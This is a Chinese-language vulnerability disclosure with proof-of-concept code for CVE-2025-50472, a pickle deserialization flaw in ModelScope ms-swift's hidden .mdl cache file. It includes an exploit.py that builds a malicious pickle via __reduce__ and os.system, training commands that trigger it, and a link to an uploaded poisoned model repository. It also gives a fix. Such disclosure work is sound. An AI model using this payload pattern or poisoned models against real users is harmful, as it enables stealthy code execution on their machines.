
CVE-2025-50472的概念验证利用代码,通过恶意.mdl文件在ModelScope ms-swift的ModelFileSystemCache中触发反序列化远程代码执行漏洞。
我上传了一个包含恶意 .mdl 文件的代码仓库至 ModelScope 用于测试。测试时可以直接使用。链接为: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files
该 .mdl 文件嵌入了恶意代码,但 ModelScope 上未显示安全警告。
PoC 代码:
# 设置环境
pip install ms-swift==2.6.1
pip install -r framework.txt # 该 requirements 文件包含在 modelscope/ms-swift 仓库中
# 使用远程仓库 HaoFan2024/ms-swift-test-fanhao 时,.mdl 文件将被直接下载。
# 在模型加载过程中,.mdl 文件通过 pickle.load 加载,导致远程代码执行(RCE)。
CUDA_VISIBLE_DEVICES=0 swift sft \
--model_type qwen1half-0_5b-chat \
--model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
--dataset blossom-math-zh \
--num_train_epochs 5 \
--sft_type lora \
--output_dir output \
--eval_steps 200
问题复现步骤如下:
模型被下载
恶意代码执行后,训练正常进行,未中断
恶意载荷成功执行
modelscope/ms-swift 库至 2.6.1 版本存在漏洞,由于在 ModelFileSystemCache() 类的 load_model_meta() 函数中对不可信数据进行反序列化,导致任意代码执行。攻击者可以构造恶意的序列化 .mdl 负载,利用 pickle.load() 处理可能来自不可信源的数据,从而执行任意代码。该漏洞允许远程代码执行(RCE),方式为欺骗受害者在正常训练过程中加载看似无害的检查点,从而使攻击者在目标机器上执行任意代码。
请注意,payload 文件是隐藏文件,使得受害者难以检测到篡改。更重要的是,在模型训练过程中,.mdl 文件被加载并执行任意代码后,正常训练过程不受影响,意味着用户对任意代码执行毫不知情。
漏洞详细描述:该漏洞源于对不可信数据的不安全反序列化。脚本使用 pickle.load 加载隐藏缓存文件,容易导致代码执行。
从输入到漏洞条件的代码流程:
~/.cache/modelscope/hub/xx/xx 下,模型目录中存在一个包含模型名称等基本信息的 .mdl 缓存文件。caching.py 脚本反序列化 .mdl 文件时,文件中嵌入的恶意代码被执行。注入点:漏洞出现在调用 pickle.load 的位置。 GitHub 永久链接:https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141
建议修复:处理配置文件(而非模型文件)时,建议采用更安全的文件解析方法,例如 yaml.safe_load(yaml_file) 或 json.load,以降低任意代码执行的风险。
exploit.py 创建一个恶意的缓存文件 .mdl,该文件将在受害者系统上创建一个目录:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('mkdir HACKED',))
# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
f.write(data)
将模型目录中的原始 .mdl 文件替换为上述生成的恶意文件。
当训练时指定 model_id_or_path 参数引用本地模型目录时,指定路径中被篡改的 .mdl 文件可能导致远程代码执行(RCE)。
重要的是,此类修改不会干扰正常的训练流程,使得 RCE 攻击具有隐蔽性,用户难以察觉。
CUDA_VISIBLE_DEVICES=0 swift sft --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat --dataset blossom-math-zh --num_train_epochs 5 --sft_type lora --output_dir output --eval_steps 200
凡浩 (Hao Fan) 和 戎誉 (Yu Rong)